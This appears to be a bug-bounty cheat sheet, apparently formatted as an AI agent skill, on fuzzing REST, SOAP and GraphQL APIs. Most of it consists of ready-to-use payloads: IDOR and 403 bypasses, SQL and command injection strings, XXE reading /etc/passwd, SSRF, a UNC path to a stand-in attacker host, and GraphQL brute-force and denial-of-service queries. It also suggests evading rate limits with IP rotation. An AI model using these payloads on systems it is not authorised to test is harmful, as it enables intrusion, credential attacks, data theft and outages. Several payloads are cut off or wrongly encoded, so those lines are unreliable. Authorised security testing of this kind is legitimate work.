API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

Burp Suite or similar proxy tool
API wordlists (SecLists, api_wordlist)
Understanding of REST/GraphQL/SOAP protocols
Python for scripting
Target API endpoints and documentation (if available)

Outputs/Deliverables

Identified API vulnerabilities
IDOR exploitation proofs
Authentication bypass techniques
SQL injection points
Unauthorized data access documentation

API Types Overview

Type	Protocol	Data Format	Structure
SOAP	HTTP	XML	Header + Body
REST	HTTP	JSON/XML/URL	Defined endpoints
GraphQL	HTTP	Custom Query	Single endpoint

Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
 
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
 
# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
 
# Check rate limiting on auth endpoints
# If no rate limit → brute force possible
 
# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
 
# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com
 
# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}
 
# JSON wrap
{"id":111} → {"id":{"id":111}}
 
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
 
# Wildcard injection
{"user_id":"*"}
 
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls
 
# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
 
# Switch content type
Content-Type: application/json → application/xml

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
 
# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL Tools

Tool	Purpose
GraphCrawler	Schema discovery
graphw00f	Fingerprinting
clairvoyance	Schema reconstruction
InQL	Burp extension
GraphQLmap	Exploitation

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403
 
# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

Output Exploitation

PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>
 
<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>
 
<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>
 
<!-- IP disclosure -->
<img

DoS via Limits

# Normal request
/api/news?limit=100
 
# DoS attempt
/api/news?limit=9999999999

Common API Vulnerabilities Checklist

Vulnerability	Description
API Exposure	Unprotected endpoints exposed publicly
Misconfigured Caching	Sensitive data cached incorrectly
Exposed Tokens	API keys/tokens in responses or URLs
JWT Weaknesses	Weak signing, no expiration, algorithm confusion
IDOR / BOLA	Broken Object Level Authorization
Undocumented Endpoints	Hidden admin/debug endpoints
Different Versions	Security gaps in older API versions
Rate Limiting	Missing or bypassable rate limits
Race Conditions	TOCTOU vulnerabilities

Quick Reference

Vulnerability	Test Payload	Risk
IDOR	Change user_id parameter	High
SQLi	`' OR 1=1--` in JSON	Critical
Command Injection	`; ls /`	Critical
XXE	DOCTYPE with ENTITY	High
SSRF	Internal IP in params	High
Rate Limit Bypass	Batch requests	Medium

Tools Reference

Category	Tool	URL
API Fuzzing	Fuzzapi	github.com/Fuzzapi/fuzzapi
API Fuzzing	API-fuzzer	github.com/Fuzzapi/API-fuzzer
API Fuzzing	Astra	github.com/flipkart-incubator/Astra
API Security	apicheck	github.com/BBVA/apicheck
API Discovery	Kiterunner	github.com/assetnote/kiterunner
API Discovery	openapi_security_scanner	github.com/ngalongc/openapi_security_scanner
API Toolkit

Constraints

Must:

Test mobile, web, and developer APIs separately
Check all API versions (/v1, /v2, /v3)
Validate both authenticated and unauthenticated access

Must Not:

Assume same security controls across API versions
Skip testing undocumented endpoints
Ignore rate limiting checks

Should:

Add X-Requested-With: XMLHttpRequest header to simulate frontend
Check archive.org for historical API endpoints
Test for race conditions on sensitive operations

Examples

Example 1: IDOR Exploitation

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>
 
# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>
 
# Response reveals other user's invoice data

Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

Troubleshooting

Issue	Solution
API returns nothing	Add `X-Requested-With: XMLHttpRequest` header
401 on all endpoints	Try adding `?user_id=1` parameter
GraphQL introspection disabled	Use clairvoyance for schema reconstruction
Rate limited	Use IP rotation or batch requests
Can't find endpoints	Check Swagger, archive.org, JS files

API Fuzzing for Bug Bounty

CLI Install

Skill Instructions

Run with Cloud Agent

API Fuzzing for Bug Bounty

Purpose

Inputs/Prerequisites

Outputs/Deliverables

API Types Overview

Core Workflow

Step 1: API Reconnaissance

Step 2: Authentication Testing

Step 3: IDOR Testing

Step 4: Injection Testing

Step 5: Method Testing

GraphQL-Specific Testing

Introspection Query

GraphQL IDOR

GraphQL SQL/NoSQL Injection

Rate Limit Bypass (Batching)

GraphQL DoS (Nested Queries)

GraphQL XSS

GraphQL Tools

Endpoint Bypass Techniques

Output Exploitation

PDF Export Attacks

DoS via Limits

Common API Vulnerabilities Checklist

Quick Reference

Tools Reference

Constraints

Examples

Example 1: IDOR Exploitation

Example 2: GraphQL Introspection

Troubleshooting